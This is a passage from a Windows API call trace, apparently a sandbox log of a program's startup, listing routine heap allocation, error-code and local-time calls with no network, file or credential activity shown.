[0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.874] SetLastError (dwErrCode=0x0) [0024.874] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4c) returned 0x740c58 [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.875] GetLastError () returned 0x0 [0024.875] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.876] SetLastError (dwErrCode=0x0) [0024.876] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.877] GetLastError () returned 0x0 [0024.877] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.878] SetLastError (dwErrCode=0x0) [0024.878] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] GetLastError () returned 0x0 [0024.879] SetLastError (dwErrCode=0x0) [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x98) returned 0x740cb0 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1f) returned 0x73dc48 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x36) returned 0x740d50 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x37) returned 0x740d90 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3c) returned 0x740dd0 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x31) returned 0x740e18 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x17) returned 0x740e58 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x24) returned 0x740e78 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x14) returned 0x740ea8 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0xd) returned 0x740ec8 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x25) returned 0x740ee0 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x39) returned 0x740f10 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x18) returned 0x740f58 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x17) returned 0x740f78 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0xe) returned 0x740f98 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x69) returned 0x73f9e8 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3e) returned 0x73fa60 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1b) returned 0x73dc70 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1d) returned 0x73dc98 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x48) returned 0x73faa8 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x12) returned 0x740fb0 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x18) returned 0x73faf8 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1b) returned 0x73dcc0 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x24) returned 0x73fb18 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x29) returned 0x73fb48 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x73dce8 [0024.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x41) returned 0x73fb80 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x17) returned 0x73fbd0 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0xf) returned 0x740fd0 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x16) returned 0x73fbf0 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2a) returned 0x73fc10 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x29) returned 0x73fc48 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x15) returned 0x73fc80 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x73dd10 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2a) returned 0x73fca0 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x12) returned 0x73fcd8 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x18) returned 0x73fcf8 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x46) returned 0x73fd18 [0024.880] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7404c0 | out: hHeap=0x730000) returned 1 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x80) returned 0x73fd68 [0024.880] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0024.880] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x800) returned 0x73fdf0 [0024.880] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0024.880] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x409ec9) returned 0x0 [0024.881] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x73fd68) returned 0x80 [0024.881] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x73fd68) returned 0x80 [0024.881] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x73fd68) returned 0x80 [0024.882] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x73fd68) returned 0x80 [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.882] SetLastError (dwErrCode=0x0) [0024.882] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.883] SetLastError (dwErrCode=0x0) [0024.883] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.884] SetLastError (dwErrCode=0x0) [0024.884] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.886] GetLastError () returned 0x0 [0024.886] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLastError () returned 0x0 [0024.887] SetLastError (dwErrCode=0x0) [0024.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.887] GetLastError () returned 0x0 [0024.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.887] GetLastError () returned 0x0 [0024.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.887] GetLastError () returned 0x0 [0024.887] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.887] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.888] GetLastError () returned 0x0 [0024.888] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, 